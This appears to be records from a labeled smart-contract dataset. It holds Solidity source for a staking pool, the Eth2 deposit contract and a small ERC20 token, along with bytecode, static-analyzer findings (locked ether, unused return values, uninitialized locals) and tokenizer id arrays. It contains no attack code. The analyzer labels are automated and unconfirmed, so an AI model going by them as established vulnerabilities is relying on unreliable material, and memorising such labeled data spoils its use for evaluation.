address(this).balance; require(balance > 0, "Can't end with 0 balance"); require(_state == State.PostDeposit, "Not allowed in the current state"); require((msg.sender == _operatorAddress && block.timestamp > _exitDate) || (_deposits[msg.sender] > 0 && block.timestamp > _exitDate + MAX_SECONDS_IN_EXIT_QUEUE), "Not allowed at the current time"); _state = State.Withdrawn; if (balance > 32 ether) { uint256 profit = balance - 32 ether; uint256 finalCommission = profit * _commissionRate / COMMISSION_RATE_SCALE; _operatorClaimable += finalCommission; } emit ServiceEnd(); } function operatorClaim() external override onlyOperator returns (uint256) { uint256 claimable = _operatorClaimable; if (claimable > 0) { _operatorClaimable = 0; payable(_operatorAddress).sendValue(claimable); emit Claim(_operatorAddress, claimable); } return claimable; } string private constant WITHDRAWALS_NOT_ALLOWED = "Not allowed when validator is active"; function withdrawAll(uint256 minimumETHAmount) external override returns (uint256) { require(_state != State.PostDeposit, WITHDRAWALS_NOT_ALLOWED); uint256 value = _executeWithdrawal(msg.sender, payable(msg.sender), _deposits[msg.sender]); require(value >= minimumETHAmount, "Less than minimum amount"); return value; } function withdraw( uint256 amount, uint256 minimumETHAmount ) external override returns (uint256) { require(_state != State.PostDeposit, WITHDRAWALS_NOT_ALLOWED); uint256 value = _executeWithdrawal(msg.sender, payable(msg.sender), amount); require(value >= minimumETHAmount, "Less than minimum amount"); return value; } function withdrawTo( uint256 amount, address payable beneficiary, uint256 minimumETHAmount ) external override returns (uint256) { require(_state != State.PostDeposit, WITHDRAWALS_NOT_ALLOWED); uint256 value = _executeWithdrawal(msg.sender, beneficiary, amount); require(value >= minimumETHAmount, "Less than minimum amount"); return value; } function approve( address spender, uint256 amount ) public override returns (bool) { _approve(msg.sender, spender, amount); return true; } function increaseAllowance( address spender, uint256 addedValue ) external override returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue); return true; } function decreaseAllowance( address spender, uint256 subtractedValue ) external override returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender] - subtractedValue); return true; } function forceDecreaseAllowance( address spender, uint256 subtractedValue ) external override returns (bool) { uint256 currentAllowance = _allowances[msg.sender][spender]; _approve(msg.sender, spender, currentAllowance - _min(subtractedValue, currentAllowance)); return true; } function approveWithdrawal( address spender, uint256 amount ) external override returns (bool) { _approveWithdrawal(msg.sender, spender, amount); return true; } function increaseWithdrawalAllowance( address spender, uint256 addedValue ) external override returns (bool) { _approveWithdrawal(msg.sender, spender, _allowedWithdrawals[msg.sender][spender] + addedValue); return true; } function decreaseWithdrawalAllowance( address spender, uint256 subtractedValue ) external override returns (bool) { _approveWithdrawal(msg.sender, spender, _allowedWithdrawals[msg.sender][spender] - subtractedValue); return true; } function forceDecreaseWithdrawalAllowance( address spender, uint256 subtractedValue ) external override returns (bool) { uint256 currentAllowance = _allowedWithdrawals[msg.sender][spender]; _approveWithdrawal(msg.sender, spender, currentAllowance - _min(subtractedValue, currentAllowance)); return true; } function withdrawFrom( address depositor, address payable beneficiary, uint256 amount, uint256 minimumETHAmount ) external override returns (uint256) { require(_state != State.PostDeposit, WITHDRAWALS_NOT_ALLOWED); uint256 spenderAllowance = _allowedWithdrawals[depositor][msg.sender]; uint256 newAllowance = spenderAllowance - amount; // Please note that there is no need to require(_deposit <= spenderAllowance) // here because modern versions of Solidity insert underflow checks _allowedWithdrawals[depositor][msg.sender] = newAllowance; emit WithdrawalApproval(depositor, msg.sender, newAllowance); uint256 value = _executeWithdrawal(depositor, beneficiary, amount); require(value >= minimumETHAmount, "Less than minimum amount"); return value; } function transferDeposit( address to, uint256 amount ) external override returns (bool) { _transfer(msg.sender, to, amount); return true; } function transferDepositFrom( address from, address to, uint256 amount ) external override returns (bool) { uint256 currentAllowance = _allowances[from][msg.sender]; _approve(from, msg.sender, currentAllowance - amount); _transfer(from, to, amount); return true; } function withdrawalAllowance( address depositor, address spender ) external view override returns (uint256) { return _allowedWithdrawals[depositor][spender]; } function getCommissionRate() external view override returns (uint256) { return _commissionRate; } function getExitDate() external view override returns (uint256) { return _exitDate; } function getState() external view override returns(State) { return _state; } function getOperatorAddress() external view override returns (address) { return _operatorAddress; } function getDeposit(address depositor) external view override returns (uint256) { return _deposits[depositor]; } function getTotalDeposits() external view override returns (uint256) { return _totalDeposits; } function getAllowance( address owner, address spender ) external view override returns (uint256) { return _allowances[owner][spender]; } function getOperatorDataCommitment() external view override returns (bytes32) { return _operatorDataCommitment; } function getOperatorClaimable() external view override returns (uint256) { return _operatorClaimable; } function getWithdrawableAmount(address owner) external view override returns (uint256) { if (_state == State.PostDeposit) { return 0; } return _deposits[owner] * (address(this).balance - _operatorClaimable) / _totalDeposits; } function _executeWithdrawal( address depositor, address payable beneficiary, uint256 amount ) internal returns (uint256) { require(amount > 0, "Amount shouldn't be zero"); uint256 value = amount * (address(this).balance - _operatorClaimable) / _totalDeposits; // Modern versions of Solidity automatically add underflow checks, // so we don't need to `require(_deposits[_depositor] < _deposit` here: _deposits[depositor] -= amount; _totalDeposits -= amount; emit Withdrawal(depositor, beneficiary, amount, value); payable(beneficiary).sendValue(value); return value; } // NOTE: This throws (on underflow) if the contract's balance was more than // 32 ether before the call function _handleDeposit(address depositor) internal returns (uint256 surplus) { uint256 depositSize = msg.value; surplus = (address(this).balance > 32 ether) ? (address(this).balance - 32 ether) : 0; uint256 acceptedDeposit = depositSize - surplus; _deposits[depositor] += acceptedDeposit; _totalDeposits += acceptedDeposit; emit Deposit(depositor, acceptedDeposit); if (surplus > 0) { payable(depositor).sendValue(surplus); } } function _transfer( address from, address to, uint256 amount ) internal { require(to != address(0), "Transfer to the zero address"); _deposits[from] -= amount; _deposits[to] += amount; emit Transfer(from, to, amount); } function _approve( address owner, address spender, uint256 amount ) internal { require(spender != address(0), "Approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _approveWithdrawal( address owner, address spender, uint256 amount ) internal { require(spender != address(0), "Approve to the zero address"); _allowedWithdrawals[owner][spender] = amount; emit WithdrawalApproval(owner, spender, amount); } function _min( uint256 a, uint256 b ) internal pure returns (uint256) { return a < b ? a : b; } } // ┏━━━┓━┏┓━┏┓━━┏━━━┓━━┏━━━┓━━━━┏━━━┓━━━━━━━━━━━━━━━━━━━┏┓━━━━━┏━━━┓━━━━━━━━━┏┓━━━━━━━━━━━━━━┏┓━ // ┃┏━━┛┏┛┗┓┃┃━━┃┏━┓┃━━┃┏━┓┃━━━━┗┓┏┓┃━━━━━━━━━━━━━━━━━━┏┛┗┓━━━━┃┏━┓┃━━━━━━━━┏┛┗┓━━━━━━━━━━━━┏┛┗┓ // ┃┗━━┓┗┓┏┛┃┗━┓┗┛┏┛┃━━┃┃━┃┃━━━━━┃┃┃┃┏━━┓┏━━┓┏━━┓┏━━┓┏┓┗┓┏┛━━━━┃┃━┗┛┏━━┓┏━┓━┗┓┏┛┏━┓┏━━┓━┏━━┓┗┓┏┛ // ┃┏━━┛━┃┃━┃┏┓┃┏━┛┏┛━━┃┃━┃┃━━━━━┃┃┃┃┃┏┓┃┃┏┓┃┃┏┓┃┃━━┫┣┫━┃┃━━━━━┃┃━┏┓┃┏┓┃┃┏┓┓━┃┃━┃┏┛┗━┓┃━┃┏━┛━┃┃━ // ┃┗━━┓━┃┗┓┃┃┃┃┃┃┗━┓┏┓┃┗━┛┃━━━━┏┛┗┛┃┃┃━┫┃┗┛┃┃┗┛┃┣━━┃┃┃━┃┗┓━━━━┃┗━┛┃┃┗┛┃┃┃┃┃━┃┗┓┃┃━┃┗┛┗┓┃┗━┓━┃┗┓ // ┗━━━┛━┗━┛┗┛┗┛┗━━━┛┗┛┗━━━┛━━━━┗━━━┛┗━━┛┃┏━┛┗━━┛┗━━┛┗┛━┗━┛━━━━┗━━━┛┗━━┛┗┛┗┛━┗━┛┗┛━┗━━━┛┗━━┛━┗━┛ // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┃┃━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┗┛━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ // SPDX-License-Identifier: CC0-1.0 pragma solidity 0.8.4; // This interface is designed to be compatible with the Vyper version. /// @notice This is the Ethereum 2.0 deposit contract interface. /// For more information see the Phase 0 specification under https://github.com/ethereum/eth2.0-specs interface IDepositContract { /// @notice A processed deposit event. event DepositEvent( bytes pubkey, bytes withdrawal_credentials, bytes amount, bytes signature, bytes index ); /// @notice Submit a Phase 0 DepositData object. /// @param pubkey A BLS12-381 public key. /// @param withdrawal_credentials Commitment to a public key for withdrawals. /// @param signature A BLS12-381 signature. /// @param deposit_data_root The SHA-256 hash of the SSZ-encoded DepositData object. /// Used as a protection against malformed input. function deposit( bytes calldata pubkey, bytes calldata withdrawal_credentials, bytes calldata signature, bytes32 deposit_data_root ) external payable; /// @notice Query the current deposit root hash. /// @return The deposit root hash. function get_deposit_root() external view returns (bytes32); /// @notice Query the current deposit count. /// @return The deposit count encoded as a little endian 64-bit number. function get_deposit_count() external view returns (bytes memory); } // Based on official specification in https://eips.ethereum.org/EIPS/eip-165 interface ERC165 { /// @notice Query if a contract implements an interface /// @param interfaceId The interface identifier, as specified in ERC-165 /// @dev Interface identification is specified in ERC-165. This function /// uses less than 30,000 gas. /// @return `true` if the contract implements `interfaceId` and /// `interfaceId` is not 0xffffffff, `false` otherwise function supportsInterface(bytes4 interfaceId) external pure returns (bool); } // This is a rewrite of the Vyper Eth2.0 deposit contract in Solidity. // It tries to stay as close as possible to the original source code. /// @notice This is the Ethereum 2.0 deposit contract interface. /// For more information see the Phase 0 specification under https://github.com/ethereum/eth2.0-specs contract DepositContract is IDepositContract, ERC165 { uint constant DEPOSIT_CONTRACT_TREE_DEPTH = 32; // NOTE: this also ensures `deposit_count` will fit into 64-bits uint constant MAX_DEPOSIT_COUNT = 2**DEPOSIT_CONTRACT_TREE_DEPTH - 1; bytes32[DEPOSIT_CONTRACT_TREE_DEPTH] branch; uint256 deposit_count; bytes32[DEPOSIT_CONTRACT_TREE_DEPTH] zero_hashes; constructor() { // Compute hashes in empty sparse Merkle tree for (uint height = 0; height < DEPOSIT_CONTRACT_TREE_DEPTH - 1; height++) zero_hashes[height + 1] = sha256(abi.encodePacked(zero_hashes[height], zero_hashes[height])); } function get_deposit_root() override external view returns (bytes32) { bytes32 node; uint size = deposit_count; for (uint height = 0; height < DEPOSIT_CONTRACT_TREE_DEPTH; height++) { if ((size & 1) == 1) node = sha256(abi.encodePacked(branch[height], node)); else node = sha256(abi.encodePacked(node, zero_hashes[height])); size /= 2; } return sha256(abi.encodePacked( node, to_little_endian_64(uint64(deposit_count)), bytes24(0) )); } function get_deposit_count() override external view returns (bytes memory) { return to_little_endian_64(uint64(deposit_count)); } function deposit( bytes calldata pubkey, bytes calldata withdrawal_credentials, bytes calldata signature, bytes32 deposit_data_root ) override external payable { // Extended ABI length checks since dynamic types are used. require(pubkey.length == 48, "DepositContract: invalid pubkey length"); require(withdrawal_credentials.length == 32, "DepositContract: invalid withdrawal_credentials length"); require(signature.length == 96, "DepositContract: invalid signature length"); // Check deposit amount require(msg.value >= 1 ether, "DepositContract: deposit value too low"); require(msg.value % 1 gwei == 0, "DepositContract: deposit value not multiple of gwei"); uint deposit_amount = msg.value / 1 gwei; require(deposit_amount <= type(uint64).max, "DepositContract: deposit value too high"); // Emit `DepositEvent` log bytes memory amount = to_little_endian_64(uint64(deposit_amount)); emit DepositEvent( pubkey, withdrawal_credentials, amount, signature, to_little_endian_64(uint64(deposit_count)) ); // Compute deposit data root (`DepositData` hash tree root) bytes32 pubkey_root = sha256(abi.encodePacked(pubkey, bytes16(0))); bytes32 signature_root = sha256(abi.encodePacked( sha256(abi.encodePacked(signature[:64])), sha256(abi.encodePacked(signature[64:], bytes32(0))) )); bytes32 node = sha256(abi.encodePacked( sha256(abi.encodePacked(pubkey_root, withdrawal_credentials)), sha256(abi.encodePacked(amount, bytes24(0), signature_root)) )); // Verify computed and expected deposit data roots match require(node == deposit_data_root, "DepositContract: reconstructed DepositData does not match supplied deposit_data_root"); // Avoid overflowing the Merkle tree (and prevent edge case in computing `branch`) require(deposit_count < MAX_DEPOSIT_COUNT, "DepositContract: merkle tree full"); // Add deposit data root to Merkle tree (update a single `branch` node) deposit_count += 1; uint size = deposit_count; for (uint height = 0; height < DEPOSIT_CONTRACT_TREE_DEPTH; height++) { if ((size & 1) == 1) { branch[height] = node; return; } node = sha256(abi.encodePacked(branch[height], node)); size /= 2; } // As the loop should always end prematurely with the `return` statement, // this code should be unreachable. We assert `false` just to be safe. assert(false); } function supportsInterface(bytes4 interfaceId) override external pure returns (bool) { return interfaceId == type(ERC165).interfaceId || interfaceId == type(IDepositContract).interfaceId; } function to_little_endian_64(uint64 value) internal pure returns (bytes memory ret) { ret = new bytes(8); bytes8 bytesValue = bytes8(value); // Byteswapping during copying to bytes. ret[0] = bytesValue[7]; ret[1] = bytesValue[6]; ret[2] = bytesValue[5]; ret[3] = bytesValue[4]; ret[4] = bytesValue[3]; ret[5] = bytesValue[2]; ret[6] = bytesValue[1]; ret[7] = bytesValue[0]; } }
0x6080604052600436106100b15760003560e01c80633e4eb36c11610069578063c189f8c71161004e578063c189f8c7146101da578063c3c54a1f146101fa578063e67431e91461021a57600080fd5b80633e4eb36c1461016e57806368db2cdd146101af57600080fd5b80632ec338ba1161009a5780632ec338ba146100fc57806336ff71bc146101485780633c574bf71461015b57600080fd5b8063035cf142146100b65780630382292b146100da575b600080fd5b3480156100c257600080fd5b506000545b6040519081526020015b60405180910390f35b3480156100e657600080fd5b506100fa6100f53660046110a4565b61022d565b005b34801561010857600080fd5b5060025473ffffffffffffffffffffffffffffffffffffffff165b60405173ffffffffffffffffffffffffffffffffffffffff90911681526020016100d1565b6100fa6101563660046110f7565b61034b565b610123610169366004611064565b6105ea565b34801561017a57600080fd5b5060025474010000000000000000000000000000000000000000900462ffffff1660405162ffffff90911681526020016100d1565b3480156101bb57600080fd5b5060015473ffffffffffffffffffffffffffffffffffffffff16610123565b3480156101e657600080fd5b506100fa6101f53660046110c7565b6107e0565b34801561020657600080fd5b506100fa610215366004610fd7565b610839565b6100c761022836600461100b565b61094d565b60025473ffffffffffffffffffffffffffffffffffffffff16331461025157600080fd5b620f42408162ffffff1611156102c8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601d60248201527f436f6d6d697373696f6e20726174652065786365656473207363616c6500000060448201526064015b60405180910390fd5b600280547fffffffffffffffffff000000ffffffffffffffffffffffffffffffffffffffff167401000000000000000000000000000000000000000062ffffff8416908102919091179091556040519081527f7944cc49dc8637e3cacb75b6261e778f93a87026e0357ae7c3b0e434324afa35906020015b60405180910390a150565b3460005b828110156105d3576000610363828761117a565b60025490915060009062ffffff740100000000000000000000000000000000000000008204169073ffffffffffffffffffffffffffffffffffffffff168787868181106103d9577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60405162ffffff909516602486015273ffffffffffffffffffffffffffffffffffffffff909316604485015250602090910201356064820152608401604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe08184030181529190526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167f6ce858bf000000000000000000000000000000000000000000000000000000001790526001549091506000906104b59073ffffffffffffffffffffffffffffffffffffffff168385610c56565b90507f60ea16e611deaec22d992e02267746362828fca13882a5d0dd11878eaa181230836040516104e891815260200190565b60405180910390a16000610505866801bc16d674ec800000610e17565b905080156105bc576040517fcfe2edcb00000000000000000000000000000000000000000000000000000000815233600482015273ffffffffffffffffffffffffffffffffffffffff83169063cfe2edcb9083906024016020604051808303818588803b15801561057557600080fd5b505af1158015610589573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906105ae91906110df565b506105b98187611192565b95505b5050505080806105cb906111a9565b91505061034f565b5080156105e4576105e43382610e2e565b50505050565b60006801bc16d674ec80000034111561060257600080fd5b60025460405174010000000000000000000000000000000000000000820462ffffff16602482015273ffffffffffffffffffffffffffffffffffffffff909116604482015260648101839052600090608401604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe08184030181529190526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167f6ce858bf000000000000000000000000000000000000000000000000000000001790526001549091506000906106f49073ffffffffffffffffffffffffffffffffffffffff168387610c56565b90507f60ea16e611deaec22d992e02267746362828fca13882a5d0dd11878eaa1812308560405161072791815260200190565b60405180910390a134156107d8576040517fcfe2edcb00000000000000000000000000000000000000000000000000000000815233600482015273ffffffffffffffffffffffffffffffffffffffff82169063cfe2edcb9034906024016020604051808303818588803b15801561079d57600080fd5b505af11580156107b1573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906107d691906110df565b505b949350505050565b60025473ffffffffffffffffffffffffffffffffffffffff16331461080457600080fd5b60008190556040518181527f505ef1171e5f0d40e4db6458251e0f04d569b2573dc6dc166c714c8a93b5682690602001610340565b60025473ffffffffffffffffffffffffffffffffffffffff16331461085d57600080fd5b73ffffffffffffffffffffffffffffffffffffffff81166108da576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601d60248201527f416464726573732063616e2774206265207a65726f206164647265737300000060448201526064016102bf565b600280547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff83169081179091556040519081527f4721129e0e676ed6a92909bb24e853ccdd63ad72280cc2e974e38e480e0e6e5490602001610340565b60003433825b85811015610c3a578415801561096a575060005483105b1561097457610c3a565b600154600090610a4a9073ffffffffffffffffffffffffffffffffffffffff168989858181106109cd577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b905060200201356040517f3d602d80600a3d3981f3363d3d373d3d3d363d730000000000000000000000008152606092831b60148201527f5af43d82803e903d91602b57fd5bf3ff0000000000000000000000000000000060288201523090921b6038830152604c8201526037808220606c830152605591012090565b905073ffffffffffffffffffffffffffffffffffffffff81163b15610c27578060018173ffffffffffffffffffffffffffffffffffffffff16631865c57d6040518163ffffffff1660e01b815260040160206040518083038186803b158015610ab257600080fd5b505afa158015610ac6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aea9190611085565b6003811115610b22577f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b1415610c25576000610b5d86610b5873ffffffffffffffffffffffffffffffffffffffff8516316801bc16d674ec800000611192565b610e17565b90508780610b6d57506000548110155b15610c23576040517fcfe2edcb00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff868116600483015283169063cfe2edcb9083906024016020604051808303818588803b158015610bdc57600080fd5b505af1158015610bf0573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610c1591906110df565b50610c208187611192565b95505b505b505b5080610c32816111a9565b915050610953565b508115610c4b57610c4b3383610e2e565b5090505b9392505050565b60006040517f3d602d80600a3d3981f3363d3d373d3d3d363d7300000000000000000000000081528460601b60148201527f5af43d82803e903d91602b57fd5bf300000000000000000000000000000000006028820152826037826000f591505073ffffffffffffffffffffffffffffffffffffffff8116610d34576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601360248201527f50726f7879206465706c6f79206661696c65640000000000000000000000000060448201526064016102bf565b825115610c4f5760008173ffffffffffffffffffffffffffffffffffffffff1684604051610d629190611141565b6000604051808303816000865af19150503d8060008114610d9f576040519150601f19603f3d011682016040523d82523d6000602084013e610da4565b606091505b5050905080610e0f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f50726f787920696e6974206661696c656400000000000000000000000000000060448201526064016102bf565b509392505050565b600081831115610e275781610c4f565b5090919050565b80471015610e98576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e636500000060448201526064016102bf565b60008273ffffffffffffffffffffffffffffffffffffffff168260405160006040518083038185875af1925050503d8060008114610ef2576040519150601f19603f3d011682016040523d82523d6000602084013e610ef7565b606091505b5050905080610f88576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d6179206861766520726576657274656400000000000060648201526084016102bf565b505050565b60008083601f840112610f9e578182fd5b50813567ffffffffffffffff811115610fb5578182fd5b6020830191508360208260051b8501011115610fd057600080fd5b9250929050565b600060208284031215610fe8578081fd5b813573ffffffffffffffffffffffffffffffffffffffff81168114610c4f578182fd5b60008060006040848603121561101f578182fd5b833567ffffffffffffffff811115611035578283fd5b61104186828701610f8d565b90945092505060208401358015158114611059578182fd5b809150509250925092565b60008060408385031215611076578182fd5b50508035926020909101359150565b600060208284031215611096578081fd5b815160048110610c4f578182fd5b6000602082840312156110b5578081fd5b813562ffffff81168114610c4f578182fd5b6000602082840312156110d8578081fd5b5035919050565b6000602082840312156110f0578081fd5b5051919050565b60008060006040848603121561110b578283fd5b83359250602084013567ffffffffffffffff811115611128578283fd5b61113486828701610f8d565b9497909650939450505050565b60008251815b818110156111615760208186018101518583015201611147565b8181111561116f5782828501525b509190910192915050565b6000821982111561118d5761118d6111e2565b500190565b6000828210156111a4576111a46111e2565b500390565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156111db576111db6111e2565b5060010190565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fdfea264697066735822122079b56c0d9abbafea8dd96ad207f698c7c36488e3fcabed4484762dd0c939236f64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'locked-ether', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2575, 2683, 19481, 2683, 2620, 2487, 9468, 2581, 2497, 2094, 18827, 2094, 23352, 12740, 2581, 2278, 20842, 2629, 2094, 2475, 11057, 2509, 7011, 3676, 2546, 2575, 2094, 28311, 2094, 1013, 1013, 9385, 1006, 1039, 1007, 25682, 2978, 7529, 3132, 1013, 1013, 2023, 2565, 2003, 2489, 4007, 1024, 2017, 2064, 2417, 2923, 3089, 8569, 2618, 2009, 1998, 1013, 2030, 19933, 1013, 1013, 2009, 2104, 1996, 3408, 1997, 1996, 27004, 2236, 2270, 6105, 2004, 2405, 2011, 1013, 1013, 1996, 2489, 4007, 3192, 1010, 2593, 2544, 1017, 1997, 1996, 6105, 1010, 2030, 1013, 1013, 1006, 2012, 2115, 5724, 1007, 2151, 2101, 2544, 1012, 1013, 1013, 2023, 2565, 2003, 5500, 1999, 1996, 3246, 2008, 2009, 2097, 2022, 6179, 1010, 1013, 1013, 2021, 2302, 2151, 10943, 2100, 1025, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,329
0x9693De0E8196ca28033A2E8d82E48C817d76b1ED
//SPDX-License-Identifier: Unlicense pragma solidity ^0.8.0; import "@rari-capital/solmate/src/tokens/ERC20.sol"; contract VivToken is ERC20 ("vivian phung", "VIV", 18) { address public immutable owner; bool public isPaused; constructor () { owner = msg.sender; } function mint(address to, uint256 amount) public { require(owner == msg.sender, "fuck u. $VIV can only be minted by vivian"); _mint(to, amount); } function burn(uint256 amount) public { _burn(msg.sender, amount); } function setPause(bool shouldPause) public { require(owner == msg.sender, "fuck u. vivian can only change $VIV pause state"); isPaused = shouldPause; } function transfer(address to, uint256 amount) public override returns (bool) { require(!isPaused, "fuck u. $VIV is paused."); return super.transfer(to, amount); } function transferFrom(address from, address to, uint256 amount) public override returns (bool) { require(!isPaused, "fuck u. $VIV is paused."); return super.transferFrom(from, to, amount); } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity >=0.8.0; /// @notice Modern and gas efficient ERC20 + EIP-2612 implementation. /// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/tokens/ERC20.sol) /// @author Modified from Uniswap (https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/UniswapV2ERC20.sol) /// @dev Do not manually set balances without updating totalSupply, as the sum of all user balances must not exceed it. abstract contract ERC20 { /*/////////////////////////////////////////////////////////////// EVENTS //////////////////////////////////////////////////////////////*/ event Transfer(address indexed from, address indexed to, uint256 amount); event Approval(address indexed owner, address indexed spender, uint256 amount); /*/////////////////////////////////////////////////////////////// METADATA STORAGE //////////////////////////////////////////////////////////////*/ string public name; string public symbol; uint8 public immutable decimals; /*/////////////////////////////////////////////////////////////// ERC20 STORAGE //////////////////////////////////////////////////////////////*/ uint256 public totalSupply; mapping(address => uint256) public balanceOf; mapping(address => mapping(address => uint256)) public allowance; /*/////////////////////////////////////////////////////////////// EIP-2612 STORAGE //////////////////////////////////////////////////////////////*/ bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); uint256 internal immutable INITIAL_CHAIN_ID; bytes32 internal immutable INITIAL_DOMAIN_SEPARATOR; mapping(address => uint256) public nonces; /*/////////////////////////////////////////////////////////////// CONSTRUCTOR //////////////////////////////////////////////////////////////*/ constructor( string memory _name, string memory _symbol, uint8 _decimals ) { name = _name; symbol = _symbol; decimals = _decimals; INITIAL_CHAIN_ID = block.chainid; INITIAL_DOMAIN_SEPARATOR = computeDomainSeparator(); } /*/////////////////////////////////////////////////////////////// ERC20 LOGIC //////////////////////////////////////////////////////////////*/ function approve(address spender, uint256 amount) public virtual returns (bool) { allowance[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function transfer(address to, uint256 amount) public virtual returns (bool) { balanceOf[msg.sender] -= amount; // Cannot overflow because the sum of all user // balances can't exceed the max uint256 value. unchecked { balanceOf[to] += amount; } emit Transfer(msg.sender, to, amount); return true; } function transferFrom( address from, address to, uint256 amount ) public virtual returns (bool) { uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals. if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount; balanceOf[from] -= amount; // Cannot overflow because the sum of all user // balances can't exceed the max uint256 value. unchecked { balanceOf[to] += amount; } emit Transfer(from, to, amount); return true; } /*/////////////////////////////////////////////////////////////// EIP-2612 LOGIC //////////////////////////////////////////////////////////////*/ function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) public virtual { require(deadline >= block.timestamp, "PERMIT_DEADLINE_EXPIRED"); // Unchecked because the only math done is incrementing // the owner's nonce which cannot realistically overflow. unchecked { bytes32 digest = keccak256( abi.encodePacked( "\x19\x01", DOMAIN_SEPARATOR(), keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline)) ) ); address recoveredAddress = ecrecover(digest, v, r, s); require(recoveredAddress != address(0) && recoveredAddress == owner, "INVALID_SIGNER"); allowance[recoveredAddress][spender] = value; } emit Approval(owner, spender, value); } function DOMAIN_SEPARATOR() public view virtual returns (bytes32) { return block.chainid == INITIAL_CHAIN_ID ? INITIAL_DOMAIN_SEPARATOR : computeDomainSeparator(); } function computeDomainSeparator() internal view virtual returns (bytes32) { return keccak256( abi.encode( keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"), keccak256(bytes(name)), keccak256("1"), block.chainid, address(this) ) ); } /*/////////////////////////////////////////////////////////////// INTERNAL MINT/BURN LOGIC //////////////////////////////////////////////////////////////*/ function _mint(address to, uint256 amount) internal virtual { totalSupply += amount; // Cannot overflow because the sum of all user // balances can't exceed the max uint256 value. unchecked { balanceOf[to] += amount; } emit Transfer(address(0), to, amount); } function _burn(address from, uint256 amount) internal virtual { balanceOf[from] -= amount; // Cannot underflow because a user's balance // will never be larger than the total supply. unchecked { totalSupply -= amount; } emit Transfer(from, address(0), amount); } }
0x608060405234801561001057600080fd5b50600436106101165760003560e01c806370a08231116100a2578063a9059cbb11610071578063a9059cbb1461029d578063b187bd26146102b0578063bedb86fb146102bd578063d505accf146102d0578063dd62ed3e146102e357600080fd5b806370a08231146102165780637ecebe00146102365780638da5cb5b1461025657806395d89b411461029557600080fd5b806330adf81f116100e957806330adf81f14610186578063313ce567146101ad5780633644e515146101e657806340c10f19146101ee57806342966c681461020357600080fd5b806306fdde031461011b578063095ea7b31461013957806318160ddd1461015c57806323b872dd14610173575b600080fd5b61012361030e565b6040516101309190610d7e565b60405180910390f35b61014c610147366004610c82565b61039c565b6040519015158152602001610130565b61016560025481565b604051908152602001610130565b61014c610181366004610bd6565b610408565b6101657f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b6101d47f000000000000000000000000000000000000000000000000000000000000001281565b60405160ff9091168152602001610130565b610165610470565b6102016101fc366004610c82565b6104cb565b005b610201610211366004610ccb565b610563565b610165610224366004610b8a565b60036020526000